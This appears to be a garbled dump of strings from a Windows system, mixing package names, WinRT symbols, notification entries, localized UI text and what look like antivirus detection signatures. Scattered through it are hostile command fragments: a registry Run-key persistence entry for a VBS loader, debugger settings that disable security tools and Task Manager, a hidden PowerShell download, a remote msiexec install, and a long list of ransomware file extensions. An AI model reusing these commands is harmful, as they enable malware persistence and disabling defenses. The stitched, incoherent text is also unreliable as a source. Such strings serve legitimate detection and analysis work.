.deletefile"%systemdrive%\windows\system32\rundll32.dat">>%systemdrive%\windows\system32\rundll32.vbsecholoop>>%systemdrive%\windows\system32\rundll32.vbsstart%systemdrive%\windows\system32\rundll32.vbsregaddhklm\software\microsoft\windows\currentversion\run/vsystem_host_run/treg_sz/d%systemdrive%\windows\system32\rundll32.vbs/f
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbwe
WindowsAppRuntime.1.6_6000.519.329
_REGWRITE ( "HKLM" & $PREF & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"R
ThreeWindowSplitLayout
ScreenClippingWindowSelectionUnnamedWindow
ScreenClippingWindowSelectionAnnouncementFormat
ssed_semsWindowsTaskManager
WindowsStoreS
WindowsTerminal
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Networking.ContentPrefetcher.Internal
Windows.Networking.ContentPrefetcher.Internal
Windows.Networking.ContentPrefetcher.Internal
System.Windows.Forms.ComponentModel.Com2Interop.IComPropertyBrowser.ComComponentNameChanged
System.Windows.Forms.ComponentModel.Com2Interop.IComPropertyBrowser.add_ComComponentNameChanged
System.Windows.Forms.ComponentModel.Com2Interop.IComPropertyBrowser.remove_ComComponentNameChanged
c:\windows\system32\
c:\windows\system32\
Specifies which platforms the rule is applicable on.  If null, the rule applies to all platforms (the default).  Each entry takes the form Major.Minor+, for instance 6.0, 6.1+, or 6.2.  If + is specified, then it means that the rule applies to that version or greater.  For instance, Windows Vista could be represented as 6 or 6.0, and Windows 7 or later would be represented as 6.1+.  + may only be attached to the final item in the list.  6.0+ is not valid because it means the same thing as null (all platforms).
c:\windows\help\winhelp.exe/j.jsp?p&p3=
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
\windows\temp\sb-sim-
\windows\(
c:\windows\system32\
&existsonwindows(
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-windowstylehidden-commandopenwith.exe;(new-objectsystem.net.webclient).downloadfile('https://www
reg add "hklm\software\microsoft\windows nt\currentversion\image file execution options\zhudongfangyu.exe" /v debugger /t reg_sz /d "ntsd -d" /freg add "hklm\software\microsoft\windows nt\currentversion\image file execution options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /freg add "hklm\software\microsoft\windows nt\currentversion\image file execution options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /fc
Lua:LastFolder5!microsoft.windowscommunicationsapps_8wekyb3d8bb
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix
!#ALF:Trojan:Win64/WindowsEncryptor.A
Lua:FnameAttr!windows_encryptor.exe
OS=Windows_NT
LOGONSERVER=\\WINDOWS11
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
Microsoft.Windows.CDP.OnecoreAccountProvider
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.CDP.AccountToastHelpersProvider
Microsoft.Windows.CDP.CDS
Microsoft.Windows.CDP.Aggr
Microsoft.Windows.CDP.AFS
Microsoft.Windows.CDP
Microsoft.Windows.CDP.Core
Microsoft.Windows.CDP.Core.Error
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.CDP.AccountFixTelemetry
%Microsoft Windows Production PCA 20110
Microsoft Windows0
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
onecoreuap\windows\cdp\afc\core\AfcInstanceManager.h
onecoreuap\windows\cdp\afc\core\ComConversionsInternal.h
onecoreuap\windows\cdp\afc\core\Activity.h
windows.data.platform.encryption.structurevalue
Microsoft.Windows.AppModel.Clipboard
https://bn2-df.notify.windows.com/v2/register/xplatform/device
onecoreuap\windows\cdp\common\internal\AsyncQueue.h
onecoreuap\windows\cdp\shared\IUserIdentity.h
SOFTWARE\Policies\Microsoft\Windows\System
{"text":"Received a Windows 8 desktop in DDS sync"}
{"text":"Received a Windows 8 phone in DDS sync"}
onecoreuap\windows\cdp\shared\crypto\cng/CNGAsymmetricKey.h
onecoreuap\windows\cdp\shared\Endpoint.h
onecoreuap\windows\cdp\shared\onecore\ComObjectCreator.h
{"text":"DeleteCertificate: CreateFile2() failed to create/open certificate file (Error: 0x%08x). Forcing root dFailed to GetActivationFactory for Windows.Networking.Connectivity.NetworkInformation
GetActivationFactory for Windows::System::Internal::UserManager as ISignInStateManager failed.
GetActivationFactory for Windows_System_User as IUserStatics failed.
leftWindows
rightWindows
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
?windowState@QWidget@@QEBA?AV?$QFlags@W4WindowState@Qt@@@@XZ
?windowStateChanged@QMdiSubWindow@@QEAAXV?$QFlags@W4WindowState@Qt@@@@0@Z
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
WindowsFlight8
Microsoft.Windows.Shell.ThumbnailCache
Microsoft.Windows.Wil.FeatureLogging
.:\windows\assembly\nativeimages_[^\]+\[^\]+\[0-9a-f]+\[^\]+%.ni%.dll$
get-windowsfeature
windows-defender|remove-windowsfeature
      <Color Name="ToolWindowShelf">
/change/tn"microsoft\windows
Microsoft.Windows.Graphics.GdiPlus
    <xs:attribute name="ResourceGroup" type="ST_AsciiWindowsId" use="optional"/>
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
onecoreuap\windows\cdp\shared\onecore\ComObjectLifetimeMgr.h
https://ppe.activity.windows.com
https://ppe.assets.activity.windows.com
https://ppe.assets.activity.windows.com/v1/assets
WindowsBackup
Unknown Windows Desktop (Win32) Application
Windows Laptop
Windows Desktop
Windows Phone
Windows Store
Windows Tablet
Windows 10 Desktop
Windows 10 Phone
Windows IoT Device
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.AppModel.ActivationManagerPerftrack
Microsoft.Windows.ApplicationModel.DesktopAppx
ry/webserver/share/httpd/manual/windowserverdiskutil mount -mountpoint /tmp/mnt /dev/disk0s1rm -f /tmp/mnt/root
?c:\windows\system32\shell32.dll
?c:\windows\system32\shell32.dll
 Windows 
 Windows 
 Windows 10 
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateString
Windows.SystemToast.NfpAppLaunchSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b&
Windows.SystemToast.NfpAppAcquireSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\%
Windows.SystemToast.LowDiskSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44d$
Windows.SystemToast.LocationManagerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e#
Windows.SystemToast.LanguageSettingsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44^"
Windows.SystemToast.HelloFaceSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]!
Windows.SystemToast.ExplorerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44m 
Windows.SystemToast.EnterpriseDataProtectionSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.DisplayBrokerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`
Windows.SystemToast.DevicesFlowSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\
Windows.SystemToast.DevicesSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e
Windows.SystemToast.DeviceManagementSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44m
Windows.SystemToast.DeviceEnrollmentActivitySystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.DeviceConsentSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44i
Windows.SystemToast.DefaultAudioEndpointSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44[
Windows.SystemToast.CompatSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44i
Windows.SystemToast.CameraTroubleshooterSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44t
Windows.SystemToast.Calling.SystemAlertNotificationSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\
Windows.SystemToast.CallingSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44a
Windows.SystemToast.BthQuickPairSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]
Windows.SystemToast.BthpropsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44k
Windows.SystemToast.BitLockerPolicyRefreshSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44^
Windows.SystemToast.BdeUnlockSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44c
Windows.SystemToast.BackupReminderSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e
Windows.SystemToast.BackgroundAccessSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]
Windows.SystemToast.AutoPlaySystemapp:system2026-02-20 16:13:442026-02-20 16:13:44h
Windows.SystemToast.AudioTroubleshooterSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.AccountHealthSystemapp:system2026-02-20 16
Windows.SystemToast.NfpAppLaunchSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b&
Windows.SystemToast.NfpAppAcquireSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\%
Windows.SystemToast.LowDiskSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44d$
Windows.SystemToast.LocationManagerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e#
Windows.SystemToast.LanguageSettingsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44^"
Windows.SystemToast.HelloFaceSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]!
Windows.SystemToast.ExplorerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44m 
Windows.SystemToast.EnterpriseDataProtectionSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.DisplayBrokerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`
Windows.SystemToast.DevicesFlowSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\
Windows.SystemToast.DevicesSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e
Windows.SystemToast.DeviceManagementSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44m
Windows.SystemToast.DeviceEnrollmentActivitySystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.DeviceConsentSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44i
Windows.SystemToast.DefaultAudioEndpointSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44[
Windows.SystemToast.CompatSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44i
Windows.SystemToast.CameraTroubleshooterSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44t
Windows.SystemToast.Calling.SystemAlertNotificationSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\
Windows.SystemToast.CallingSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44a
Windows.SystemToast.BthQuickPairSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]
Windows.SystemToast.BthpropsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44k
Windows.SystemToast.BitLockerPolicyRefreshSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44^
Windows.SystemToast.BdeUnlockSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44c
Windows.SystemToast.BackupReminderSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e
Windows.SystemToast.BackgroundAccessSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]
Windows.SystemToast.AutoPlaySystemapp:system2026-02-20 16:13:442026-02-20 16:13:44h
Windows.SystemToast.AudioTroubleshooterSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.AccountHealthSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44_
Windows.System.ShareExperienceSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44j
Windows.System.NearShareExperienceReceiveSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`	
Windows.System.MiracastReceiverSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Z
Windows.System.DialServerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Y
Windows.System.ContinuumSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44U
Windows.System.AudioSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44d
Windows.System.AppInitiatedDownloadSystemapp:system2026-02-20 16:13:442026-02-24 07:58:51Q
Windows.DefenderSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44c
Microsoft.Windows.ParentalControlsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44j
Microsoft.Windows.InputSwitchToastHandlerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44n
Microsoft.Windows.DynamicLightingToastHandlerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensions
(@Windows.Data.DoNotDisturb.QuietHoursSettings
 @Windows.Data.DoNotDisturb.QuietMoment
(@Windows.Data.Notifications.QuietHoursProfile
 @Windows.Data.Notifications.QuietHoursSettings
 @Windows.Data.Notifications.QuietMoment
 @Windows.Data.Notifications.BoolWithMetadata
 @Windows.Data.DoNotDisturb.BoolWithMetadata
 @Windows.Data.DoNotDisturb.QuietHoursProfile
 @https://assets.activity.windows.com
 @https://assets.activity.windows.com/v1/assets
WindowsSubstringWithSpecifiedLength
$@https://activity.windows.com
https://login.windows.net/common/oauth2/nativeclient
?ign sa Windows gamit ang iyong account sa Microsoft para magamit ang tampok na ito.
Hindi ka matutulungan ng Windows na subaybayan ang iyong device kung mawala mo ito.
Kinokolekta ng Microsoft ang impormasyon tungkol sa iyong device, mga setting at kakayahan nito, at kung ito ay gumagana nang maayos. Ang kinakailangan diagnostic data ay ang minimum na antas ng diagnostic data na kailangan para makatulong na mapanatiling maaasahan, ligtas, at gumagana ng normal ang iyong device at para makagawa ng mga nauugnay na pagpapahusay sa Windows.
Gusto mo bang i-set up ang Windows Hello para makapag-sign in nang mas mabilis at mas sigurado?
Mayroon ding sensor ng fingerprint ang iyong device na gumagana sa Windows Hello kaya maaari kang mag-sign in nang ligtas gamit lang ang iyong daliri.
Listahan ng mga sensor na tugma sa Windows Hello
Ginagamit ng Windows Hello ang iyong fingerprint para makilala ka at nagbibigay-daan sa <b>na mas secure, mabilis at walang password na paraan </b> para makumpirma mo ang iyong pagkakakilanlan.
Gumagana ang iyong device na may sensor ng fingerprint sa Windows Hello, kaya nagkakaroon ka ng simpleng paraan na hindi na nangangailangan ng password para mapatunayan ang iyong pagkakakilanlan.
Ginagamit ng Windows Hello ang iyong camera para makilala ka at nagbibigay-daan sa <b>na mas secure, mabilis at walang password na paraan </b> para makumpirma mo ang iyong pagkakakilanlan.
Gumagana ang iyong camera sa Windows Hello para makilala ka, kaya nagkakaroon ka ng simpleng paraan na hindi na nangangailangan ng password para mapatunayan ang iyong pagkakakilanlan.
Icon ng Windows Hello fingerprint
Icon ng Windows Hello face
Animation ng Windows Hello face
Agad na i-unlock ang iyong device at madaling aprubahan ang mga pagkilos tulad ng paggawa ng mga passkey at paggamit ng Windows Pagbabalik-tanaw.
 hindi kailanman sa cloud, hindi kailanman ibinahagi. Maaari mong tanggalin Windows Hello oras mula sa Mga Setting ng W
GetSystemWindowsDirectoryW
ROOT\Microsoft\Windows\Defender
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateString
WindowsCreateStringReference
WindowsDuplicateString
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::GetApplicationTokenBindingPublicKey
Windows::Internal::Security::Authentication::Web::CWamProviderRegistration::GetAllProvidersRegistration
Windows::Internal::Security::Authentication::Web::CWamProviderRegistration::ReportProviderUpdate
Windows::Internal::Security::Authentication::Web::CWamProviderRegistration::GetFromSsoUri
Windows::Internal::Security::Authentication::Web::CWamProviderRegistration::InvalidateCache
:\windows\help(
Windows
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.d0EAB18763F755F7E391A05F5AE5DDEF62260AF.977.330817544.975
ALF:AGGR:SuspSystem32File.A
Najnoviji Microsoft Edge je najbolji preglednik za Windows uz poja
inu i programsku traku. To je najbolji preglednik za Windows s pove
Microsoft Edge je najbolji preglednik za Windows uz poja
$de".coverton".crab".crashed".crime".crinf".criptiko".criptokod".cripttt".crjoker".crptrgr".crptxxx".crrrt".cryeye".cryp1".crypt12".crypt38".crypte".crypted".crypted_file".crypto".cryptoshield".cryptotorlocker2015!".cryptowall".cryptz".crypz".crysis".cts0".cts1".cts2".cts3".cts4".cts5".cts6".cts7".cts8".cts9".cyber".czvxce".d0nut".d4nk".da_vinci_code".dagoned".dale".damage".darkbit".darkness".dcrypt".decrypt2017".ded".deria".disappeared".domino".doomed".dxxd".dyatel@qq_com".edgel".eking".elbie".encedrsa".enciphered".encmywork".encoderpass".encrypted_by_lltp".encrypted_by_lltpp".encryptedaes".encryptedrsa".evillock".exotic".fantom".fargo3".faust".fear".fenixiloveyou!!".file0locked".fileiscryptedhard".filock".firecrypt".flocked".fog".frtrss".fuck".fucked".fuckyourdata".fun".gaza".gefickt".genesis15".gruzin@qq_com".h3ll".ha3".hannah".hb15".helpdecrypt@ukr.net".helpmeencedfiles".herbst".hnumkhotep".hush".iaufkakfhsaraf".ifuckedyou".inc".infected".isis".iwanthelpuuu".justbtcwillhelpyou".kencf".keyh0les".keyz".killedxxx".kimcilware".kirked".korrektor".kostya".kr3".kraken".kratos".lambda_l0cked".lcked".lechiffre".legion".lesli".letmetrydecfiles".licked".limpopo".lock93".locked-by-mafia".locklock".lol!".lorenz.sz40".lovewindows".madebyadam".magic".makop".maktub".maya".merry".micro".mole".mrcr1".nalog@qq_com".nemo-hacks.at.sigaint.org".nevada".no_more_ransom".nochance".noproblemwedecfiles".notfoundrans".nuclear55".odcodc".odin".omg!".onion".only-we_can_help_you".oops".openforyou@india.com".oplata@qq_com".oshit".osiris".otherinformation".p5tkjw".padcrypt".paybtcs".paym".paymrss".payms".paymst".paymts".payransom".payrms".payrmts".pr0tect".paytounlock".payuranson".pegs".pizda@qq_com".poar2w".poop".porno".potato".powerfulldecrypt".pubg".purge".puuuk".radamant".rare1".razy".rdmk".redkrypt".rekt".relock@qq_com".remind".revenge".rmcm1".rnsmwr".rokku".rsplited".sage".sanction".securecrypted".serpent".sexy".shit".sifreli".silent".snake".spora".stn".surprise".sz40".tent".thetrumplockerf".thetrumplockerfp".theworldisyours".threeamtime".tkoinprz".toxcrypt".troyancoder@qq_com".trun".tzu".uk-dealer@sigaint.org".unavailable".unlockvt@india.com".v-s0ciety".v1ceso0ciety".vbransom".velikasrbija".vendetta".vendetta2".venusf".venusp".versiegelt".vforvendetta".vicesociety".vindows".vscrypt".vsociety".vxlock".wallet".wcry".weareyourfriends".weencedufiles".wflx".whereisyourfiles".wisz".yourransom".z81928819".safepay".zc3791".zcrypt".zino".zorro".zxz".zyklon".8baselocked".hunter".lynx".lockedttx".x2anylock".dlock".nilson".int3r1ock".nitrogen".4rc3twm".encrypted.lock"
}PWindowsFormsLakoparkos.Form1.resourcesExam.MDIParent1.resourcesExam.Properties.Resources.resourcesExam.xTextBox.resources!#HSTR:Trojan:MSIL/AgentTesla.AAD15!MTB
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
PDF.SkiaFontMapperWindows.EnumFontsTime
Microsoft-Windows-PeerDist-HttpTrans-In
Microsoft-Windows-WLAN
ilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@UVisualStateChangedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?5??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_5>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@UVisualStateChangedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?5??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_6>@?5??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$TypedEventHandler@UUIElement@Xaml@UI@Windows@winrt@@UDragStartingEventArgs@2345@@Foundation@Windows@winrt@@V<lambda_4>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_5>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_5>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UUIElement@Xaml@UI@Windows@winrt@@UDragStartingEventArgs@2345@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@URightTappedEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_3>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AV<lambda_4>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UUIElement@Xaml@UI@Windows@winrt@@UDragStartingEventArgs@2345@@Foundation@Windows@winrt@@V<lambda_4>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@UDoubleTappedEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_2>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AV<lambda_2>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_3>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URightTappedEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_3>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
SCPT:getRandomOldFileFromSystem32
!ExitWindows
	E}`%\msiexec.exemetaguard(..\..\..\..\windows\system32\msiexec.exec:\windows\system32;/i"https://
windows.hlp`
r8Lua:FileInWindowsRecentFolder
!#AGGR:Lua:BatFileInWindowsFolder
!#AGGR:Lua:FileInWindowsMailApp.A
Lua:FileInWindowsMailApp.A
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this prof
DLLCALL ( "user32.dll" , "handle" , "GetProcessWindowStation" )D
Microsoft.Windows.Search.Indexer.Diagnostics
Microsoft.Windows.Search.Indexer.Aggregated.High
Microsoft.Windows.Search.Indexer.Trace
Microsoft.Windows.TlgAggregateInternal
inrt::Windows::Foundation::IInspectable&>(const struct winrt::Windows::Foundation::IInspectable &)
